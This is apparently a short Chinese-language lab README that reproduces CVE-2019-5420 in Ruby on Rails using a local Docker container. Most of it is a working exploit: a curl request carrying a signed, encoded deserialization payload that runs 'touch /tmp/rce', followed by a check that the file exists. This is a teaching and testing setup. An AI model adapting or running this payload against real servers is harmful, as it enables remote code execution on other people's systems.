CVE-2019-5420 (Ruby on Rails)
仅供教育用途。
详见 参考。
$ docker run --name cve-2019-5420 --rm -p 3000:3000 knqyf263/cve-2019-5420
执行 touch /tmp/rce
$ curl http://127.0.0.1:3000/rails/active_storage/disk/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHZPa0JCWTNScGRtVlRkWEJ3YjNKME9qcEVaWEJ5WldOaGRHbHZiam82UkdWd2NtVmpZWFJsWkVsdWMzUmhibU5sVm1GeWFXRmliR1ZRY205NGVRazZEa0JwYm5OMFlXNWpaVzg2Q0VWU1FnZzZDVUJ6Y21OSkloVmdkRzkxWTJnZ0wzUnRjQzl5WTJWZ0Jqb0dSVlE2RGtCbWFXeGxibUZ0WlVraUJqRUdPd2xVT2d4QWJHbHVaVzV2YVFZNkRFQnRaWFJvYjJRNkMzSmxjM1ZzZERvSlFIWmhja2tpREVCeVpYTjFiSFFHT3dsVU9oQkFaR1Z3Y21WallYUnZja2wxT2g5QlkzUnBkbVZUZFhCd2IzSjBPanBFWlhCeVpXTmhkR2x2YmdBR093bFUiLCJleHAiOm51bGwsInB1ciI6ImJsb2Jfa2V5In19--78c21ddf5ca4239d862118730069e04fbf38fd3d/test
检查 /tmp/rce 是否已生成
$ docker exec -it cve-2019-5420 ls /tmp/rce